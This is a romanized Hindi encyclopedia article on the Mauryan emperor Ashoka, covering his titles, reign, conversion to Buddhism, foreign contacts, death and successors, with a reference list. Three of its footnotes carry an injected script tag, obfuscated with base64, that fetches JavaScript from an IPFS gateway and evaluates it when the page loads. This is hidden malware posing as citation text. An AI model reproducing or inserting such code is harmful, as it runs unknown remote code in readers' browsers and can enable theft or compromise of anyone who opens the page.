अशोक
ashok
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| poora nam | raja[1] priyadarshi devataoan ka priy ashok maury |
| any nam | 'devanampriy' evan 'priyadarshi'[2] |
| janm | 304 eesa poorv (sanbhavit) |
| janm bhoomi | pataliputr (patana) |
| mrityu tithi | 232 eesa poorv |
| mrityu sthan | pataliputr, patana |
| pita/mata | bindusar, subhadraangi (uttari parampara), rani dharma (dakshini parampara) |
| pati/patni | (1) devi (vedis-mahadevi shakyakumari), (2) karuvaki (dvitiy devi tivalamata), (3) asandhimitra- agramahishi, (4) padmavati, (5) tishyarakshita[3] |
| santan | devi se- putr mahendr, putri sanghamitra aur putri charumati, karuvaki se- putr tivar, padmavati se- putr kunal (dharmavivardhan) aur bhi kee putroan ka ullekh hai. |
| upadhi | raja[1], 'devanampriy' evan 'priyadarshi' |
| rajy sima | sampoorn bharat |
| shasan kal | eesapoorv 274[3] - 232 |
| sha. avadhi | 42 varsh lagabhag |
| rajyabhishek | 272[4] aur 270[3] eesa poorv ke madhy |
| dharmik manyata | hindoo dharm, bauddh dharm |
| prasiddhi | ashok mahan, samrajy vistarak, bauddh dharm pracharak |
| yuddh | samrat banane ke bad ek hi yuddh l da 'kaliang-yuddh' (262-260 ee.poo. ke bich) |
| nirman | bhavan, stoop, math aur stanbh |
| sudhar-parivartan | shilalekhoan dvara janata mean hitakari adeshoan ka prachar |
| rajadhani | pataliputr (patana) |
| poorvadhikari | bindusar (pita) |
| vansh | maury |
| sanbandhit lekh | ashok ke shilalekh, maury kal adi |
ashok (aangrezi:Ashok) athava 'asok' (kal eesa poorv 269 - 232) prachin bharat mean maury rajavansh ka raja tha. ashok ka devanampriy evan priyadarshi adi namoan se bhi ullekh kiya jata hai. usake samay maury rajy uttar mean hindukush ki shreniyoan se lekar dakshin mean godavari nadi ke dakshin tatha maisoor, karnatak tak tatha poorv mean bangal se pashchim mean afaganistan tak pahuanch gaya tha. yah us samay tak ka sabase b da bharatiy samrajy tha. samrat ashok ko apane vistrit samrajy ke behatar kushal prashasan tatha bauddh dharm ke prachar ke lie jana jata hai. jivan ke uttarardh mean ashok gautam buddh ka bhakt ho gaya aur unhian[5] ki smriti mean usane ek stambh kh da kar diya jo aj bhi nepal mean unake janmasthal - lumbini mean 'mayadevi mandir' ke pas ashok shtamhbh ke roop mean dekha ja sakata hai. usane bauddh dharm ka prachar bharat ke alava shrilanka, afaganistan, pashchim eshiya, misr tatha yoonan mean bhi karavaya. ashok ke abhilekhoan mean praja ke prati kalyanakari drishtikon ki abhivyakti ki gee hai.
jivan parichay
- REDIRECTsaancha:mukhy
janm
ashok prachin bharat ke maury samrat biandusar ka putr tha. jisaka janm lagabhag 304 ee. poorv mean mana jata hai. lanka ki parampara mean [6] biandusar ki solah pataraniyoan aur 101 putroan ka ullekh hai. putroan mean keval tin ke namollekh haian, ve haian - susim [7] jo sabase b da tha, ashok aur tishy. tishy ashok ka sahodar bhaee aur sabase chhota tha.[8]bhaiyoan ke sath grih-yuddh ke bad 272 ee. poorv ashok ko rajagaddi mili aur 232 ee. poorv tak usane shasan kiya.
- REDIRECTsaancha:inhean bhi dekhean
devanampriy priyadarshi ke arth
'devanampriy priyadarshi' is vakyaansh mean bi.e. smith ke matanusar 'devanampriy' adarasoochak pad hai aur isi arth mean hamane bhi isako liya hai kiantu devanampriy shabd (dev-priy nahian) panini ke ek sootr[9] ke anusar anadar ka soochak hai. katyayan[10] ise apavad mean rakha hai. patanjali[11] aur yahaan tak ki kashika (650 ee.) bhi ise apavad hi manate haian. par in sabake uttarakalin vaiyakaran bhattojidikshit ise apavad mean nahian rakhate. ve isaka anadaravachi arth 'moorkh' hi karate haian. unake mat se 'devanampriy brahmajnan se rahit us purush ko kahate haian jo yajn aur pooja se bhagavan ko prasann karane ka yatn karata hai. jaise- gay doodh dekar malik ko.[12] is prakar ek upadhi jo nandoan, mauryoan aur shuangoan ke yug mean adaravachi thi. us mahanh raja ke prati brahmanoan ke duragrah ke karan anadar soochak ban gee.
dharm parivartan
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chitr:Blockquote-open.gif
samrat ka adesh hai ki praja ke sath putravath vyavahar ho, janata ko pyar kiya jae, akaran logoan ko karavas ka dand tatha yatana n di jae. janata ke sath nyay kiya jana chahie. simaant jatiyoan ko ashvasan diya gaya ki unhean samrat se koee bhay nahian karana chahie. unhean raja ke sath vyavahar karane se sukh hi milega, kasht nahian. raja yathashakti unhean kshama karega, ve dhamm ka palan karean. yahaan par unhean sukh milega aur mrityu ke bad svarg.
chitr:Blockquote-close.gif - ashok
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isamean koee sandeh nahian ki apane poorvajoan ki tarah ashok bhi brahman dharm ka anuyayi tha. mahavansh ke anusar vah pratidin 60,000 brahmanoan ko bhojan diya karata tha aur anek devi - devataoan ki pooja kiya karata tha. kalhan ki rajatarangini ke anusar ashok ke isht dev shiv the. pashubali mean use koee hichak nahian thi. kintu apane poorvajoan ki tarah vah jijnasu bhi tha. maury rajy sabha mean sabhi dharmoan ke vidvanh bhag lete the. jaise - brahman, darshanik, nigranth, ajivak, bauddh tatha yoonani darshanik. dipavansh ke anusar ashok apani dharmik jijnasa shant karane ke lie vibhinn siddhaantoan ke vyakhyataoan ko rajyasabha mean bulata tha. unhean upahar dekar sammanit karata tha aur sath hi svayan bhi vichararth anek saval prastavit karata tha. vah yah janana chahata tha ki dharm ke kin granthoan mean saty hai. use apane savaloan ke jo uttar mile unase vah santusht nahian tha.
bauddh dharm ka anuyayi
[[chitr:Ashokthegreat.jpg|thumb|300px|bauddh dharm ka prachar karate ashok]]
- REDIRECTsaancha:mukhy
isamean koee sandeh nahian ki ashok bauddh dharm ka anuyayi tha. sabhi bauddh granth ashok ko bauddh dharm ka anuyayi batate haian. ashok ke bauddh hone ke sabal praman usake abhilekh haian. rajyabhishek se sambaddh laghu shilalekh mean ashok ne apane ko 'buddhashaky' kaha hai. sath hi yah bhi kaha hai ki vah dhaee varsh tak ek sadharan upasak raha. bhabru laghu shilalekh mean ashok triratn—buddh, dhamm aur sangh mean vishvas karane ke lie kahata hai aur bhikshu tatha bhikshuniyoan se kuchh bauddh granthoan ka adhyayan tatha shravan karane ke lie kahata hai. laghu shilalekh se yah bhi pata chalata hai ki rajyabhishek ke dasavean varsh mean ashok ne bodh gaya ki yatra ki, barahavean varsh vah nigali sagar gaya aur konagaman buddh ke stoop ke akar ko duguna kiya. mahavansh tatha dipavansh ke anusar usane tritiy bauddh sangiti (sabha) bulaee aur moggaliputt tiss ki sahayata se sangh mean anushasan aur ekata lane ka saphal prayas kiya. yah doosari bat hai ki ekata theravad bauddh sampraday tak hi simit thi. ashok ke samay theravad sampraday bhi anek upasampradayoan mean vibhakt ho gaya tha.
videshoan se sambandh
dhamm prachar evan dhamm vijay ke sandarbh mean ashok ke shilalekhoan mean kuchh aise vivaran bhi milate haian, jinamean usake evan videshoan ke parasparik sambandhoan ka abhas milata hai. ye sambandh kootaniti evan bhaugolik sannidhy ke hitoan par adharit the. ashok ne jo sampark sthapit kie ve adhikaanshatah dakshin evan pashchim kshetroan mean the aur dhamm mishanoan ke madhyam se sthapit kie the. in mishanoan ki tulana adhunik sadabhavana mishanoan se ki ja sakati hai. ashok ke ye mishan sthayi taur par videshoan mean ek ashcharyajanak tathy haian ki stanbh abhilekh nan. 7, jo ashok ke kal ki akhiri ghoshana mani jati hai, tamraparn, shrilanka ke atirikt aur kisi videshi shakti ka ullekh nahian karati. shayad videshoan mean ashok ko utani saphalata nahian mili jitani samrajy ke bhitar. phir bhi itana kaha ja sakata hai ki videshoan se sampark ke jo dvar sikandar ke akraman ke pashchath khule the, ve ab aur adhik chau de ho ge.
nidhan
is bat ka vivaran nahian milata hai ki ashok ke karmath jivan ka aant kab, kaise aur kahaan hua. tibbati parampara ke anusar usaka dehavasan takshashila mean hua. usake ek shilalekh ke anusar ashok ka aantim kary bhikshusangh me phoot dalane ki nianda karana tha. sambhavat: yah ghatana bauddhoan ki tisari sangati ke bad ki hai. sianhali itihas granthoan ke anusar tisari sangiti ashok ke rajyakal mean pataliputr mean huee thi.[13]
uttaradhikari
40 varsh tak rajy karane ke bad lagabhag ee. poo. 232 mean ashok ki mrityu huee. usake bad lagabhag 50 varsh tak ashok ke anek uttaradhikariyoan ne shasan kiya. kintu in maury shasakoan ke sambandh mean hamara jnan aparyapt tatha anishchit hai. puran, bauddh tatha jain anushrutiyoan mean in uttaradhikariyoan ke namoan ki jo soochiyaan di gee haian ve ek-doosare se mel nahian khati haian.
- puranoan ke anusar ashok ke bad 'kunal' gaddi par baitha. divyavadan mean use 'dharmavivardhan' kaha gaya hai. 'dharmaviverdhan' sambhavatah usaka viruddh tha, kintu ashok ke aur bhi putr the.
- puranoan tatha nagarjuni paha diyoan ki gufaoan ke shilalekh ke anusar dasharath kunal ka putr tha. nagarjuni gufaoan ko dasharath ne ajivikoan ko dan mean diya tha. in pramanoan ke adhar par yah mat prastut kiya gaya ki magadh samrajy do bhagoan mean vibhakt ho gaya. dasharath ka adhikar samrajy ke poorvi bhag mean tatha sanprati ka pashchimi bhag mean tha.
- vishnu puran tatha gargi sanhita ke anusar sanprati tatha dasharath ke bad ullekhaniy maury shasak salisuk tha. use sanprati ka putr brihaspati bhi mana ja sakata hai.
- puranoan mean hi nahian varanh harshacharit mean bhi magadh ke antim samrat ka nam brihadrath diya gaya hai. inake anusar maury vansh ke antim samrat brihadrath ki, usake senapati pushyamitr ne hatya kar di aur svayan sianhasan par aroodh ho gaya.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 yah dhyan dene yogy bat hai ki yadyapi ashok sarvochch shasak tha par vah apane ko sirph 'raja' shabd se nirdisht karata hai. 'maharaja' aur 'rajadhiraj' jaisi bhari-bharakam ya adambar-poorn upadhiyaan, jo alag-alag ya milakar prayukt ki jati haian, ashok ke samay mean prachalit nahian huee thian. 'ashok' | lekhak: di.ar. bhandarakar | prakashak: es. chand end kampani | prishth sankhya:6
- ↑ 'ashok' | lekhak: di.ar. bhandarakar | prakashak: es. chand end kampani | prishth sankhya:5
- ↑ 3.0 3.1 3.2 'ashok' | lekhak: radhakumud mukharji | prakashak: motilal banarasidas | prishth sankhya: 8-9
- ↑ dvijendr narayan jha, krishna mohan shrimali “mauryakal”, prachin bharat ka itihas, dvitiy sanskaran (hiandi), dilli: hiandi madhyam karyaanvay nideshalay, 178.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ mahatma buddh
- ↑ jisaka akhyan 'dipavansh' aur 'mahavansh' mean hua hai
- ↑ uttari paramparaoan ka susim
- ↑ mukharji, radhakumud ashok (hiandi). nee dilli: motilal banarasidas, 2.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ panini 6,3,21
- ↑ ee.poo. 350 sar ar. ji. bhandakar
- ↑ ee. poo. 150
- ↑ tattvabodhini aur balamanorama
- ↑ bhattachary, sachidanand bharatiy itihas kosh (hiandi). lakhanoo: uttarapradesh hiandi sansthan, 28.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- 'ashok' | lekhak: radhakumud mukharji | prakashak: motilal banarasidas
- 'ashok' | lekhak: di.ar. bhandarakar | prakashak: es. chand end kampani
- 'prachin bharat ka itihas' | lekhak: dvijendr narayan jha, krishna mohan shrimali | prakashak: dilli vishvavidyalay
- 'maury samrajy ka itihas' | lekhak: satyaketu vidyalankar | prakashak: shri sarasvati sadan
- 'bharat ka itihas' | lekhika: romila thapar | prakashak: rajakamal prakashan
sanbandhit lekh